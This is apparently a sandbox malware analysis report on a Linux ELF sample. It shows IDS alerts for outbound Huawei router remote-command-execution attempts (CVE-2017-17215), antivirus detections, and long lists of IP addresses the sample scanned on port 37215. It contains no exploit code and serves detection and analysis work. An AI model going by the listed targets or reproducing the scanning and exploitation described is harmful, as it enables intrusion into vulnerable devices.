ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 32.15.100.40

Timestamp:	2024-08-01T15:35:21.831433+0200
SID:	2835222
Source Port:	41796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 152.248.99.35

Timestamp:	2024-08-01T15:35:36.924506+0200
SID:	2835222
Source Port:	39954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.107.195.129

Timestamp:	2024-08-01T15:35:54.383521+0200
SID:	2835222
Source Port:	52562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.136.78.84

Timestamp:	2024-08-01T15:35:20.209581+0200
SID:	2835222
Source Port:	33634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.27.255.75

Timestamp:	2024-08-01T15:36:18.252691+0200
SID:	2835222
Source Port:	34440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 23.53.57.248

Timestamp:	2024-08-01T15:35:50.277977+0200
SID:	2835222
Source Port:	33546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 51.42.187.207

Timestamp:	2024-08-01T15:35:58.789095+0200
SID:	2835222
Source Port:	59232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 109.219.198.128

Timestamp:	2024-08-01T15:35:43.356180+0200
SID:	2835222
Source Port:	39252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.39.220.56

Timestamp:	2024-08-01T15:35:17.027226+0200
SID:	2835222
Source Port:	56412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.191.168.17

Timestamp:	2024-08-01T15:36:06.681793+0200
SID:	2835222
Source Port:	47222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: bykReYf85u.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: bykReYf85u.elf

ReversingLabs: Detection: 55%

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 177.123.195.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.34.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.149.144.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.10.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.219.222.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.27.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.230.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.1.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.131.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.191.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.57.215.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 164.20.73.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.56.56.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 114.134.65.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 147.67.92.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.252.6.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.129.216.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.232.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 210.206.245.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.165.253.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.233.129.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.182.153.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.176.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 200.72.248.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.203.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.177.166.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.3.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.29.225.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.168.137.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.234.123.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.67.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.147.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.20.107.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 66.121.100.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.206.139.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.181.182.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.134.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.119.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.96.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 198.50.61.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 102.155.249.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.67.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.115.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.169.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.231.206.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.175.32.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 2.193.246.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.169.134.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.139.217.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 207.13.138.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.153.88.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.153.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 166.167.234.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.87.117.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.36.23.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.102.148.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.174.193.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.19.219.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.34.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.67.94.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.190.123.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.196.40.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.193.29.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.82.15.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 200.156.103.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.46.5.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.4.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.97.41.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.143.77.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 143.152.253.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.96.142.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 222.142.83.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.121.143.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.204.133.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.155.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.35.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 110.208.30.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.245.245.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.101.208.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.229.218.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.38.42.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.42.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 198.59.102.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 173.114.107.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.19.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.77.20.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.204.169.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.171.30.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.56.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.182.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 222.239.93.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.104.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 101.161.32.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.30.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.11.120.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.138.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.74.54.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.101.238.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.173.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 147.57.45.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 102.126.80.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.3.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.57.240.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.27.65.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.29.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.179.229.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.118.102.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.6.248.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.36.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.228.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.239.173.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.214.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.136.78.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.108.49.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.231.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.171.228.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.254.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.55.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.18.169.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.42.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.185.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.132.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.114.121.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.146.96.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.161.178.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 219.223.246.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.1.112.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.66.1.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 93.91.184.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.44.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 121.5.225.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.253.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.157.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.227.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.3.231.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.176.58.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 102.39.195.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.59.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.0.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 161.192.12.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.17.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.230.16.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.209.145.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 208.67.56.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.141.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.53.183.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.16.242.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.99.106.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.64.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.237.235.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 2.138.219.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.235.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 35.123.133.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.59.133.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.55.99.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 194.193.18.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.62.97.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.80.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 93.235.177.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.50.33.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.1.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.232.53.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.98.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.21.7.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.242.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.4.230.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.90.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.82.55.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.158.84.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.71.147.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.252.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 209.129.68.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.203.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.85.120.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 163.13.197.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.33.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.156.86.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.253.143.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 63.182.26.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.118.211.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.198.90.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.56.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.21.242.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.88.238.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.150.120.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.252.45.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 165.191.81.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.181.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.116.105.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.197.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.182.106.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.237.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.212.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 89.175.92.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.10.149.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.172.52.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 120.6.1.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 151.198.130.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.167.99.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 71.231.100.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 44.107.91.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.118.161.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.83.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.178.27.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.50.37.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 79.196.100.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.172.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.84.22.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.217.13.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.2.232.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 161.245.2.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.167.209.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.103.193.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 83.124.132.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 148.245.147.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.14.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 149.34.182.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.222.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.28.228.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.14.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 17.37.50.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.16.127.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.88.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 136.209.131.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.75.77.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.58.83.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.14.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.26.83.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 164.63.63.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.70.160.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.168.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.50.246.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.245.55.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.29.216.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.60.145.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.53.76.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.251.61.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.214.156.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.203.23.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.242.9.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 61.43.155.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.176.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 221.120.194.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 42.88.115.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.240.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.116.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.14.237.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 86.145.59.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.97.234.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 49.99.135.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 177.87.23.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.150.3.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.232.46.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 23.173.38.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.240.104.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.186.5.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 89.25.72.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.134.56.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.246.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.112.122.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.44.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.86.111.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 76.77.11.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.143.230.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.158.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.66.128.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 103.20.177.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 118.221.211.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.115.41.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.94.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.200.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.105.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.43.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 119.90.131.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.16.71.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.180.254.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.158.40.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.34.71.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.184.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.195.129.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 130.233.217.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 200.89.131.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.194.219.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 60.255.178.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 92.28.110.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.24.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.155.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.214.240.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.10.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.234.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 84.84.190.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 9.50.79.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.154.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.220.34.9 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.23.233.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.27.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.142.243.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.130.3.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 177.186.243.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.182.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 75.124.67.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.214.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.248.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.0.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.241.93.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.37.11.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.111.86.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 105.61.187.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.171.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.103.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.39.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.230.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.217.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 116.122.159.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.35.141.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 164.203.219.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 120.3.86.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.195.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 151.48.243.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.54.51.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.120.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 168.234.4.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 158.19.176.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 67.173.236.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.76.63.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 87.113.114.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.242.251.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.137.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.226.185.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.128.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.113.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.66.58.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.235.147 ports 1,2,3,5,7,37215
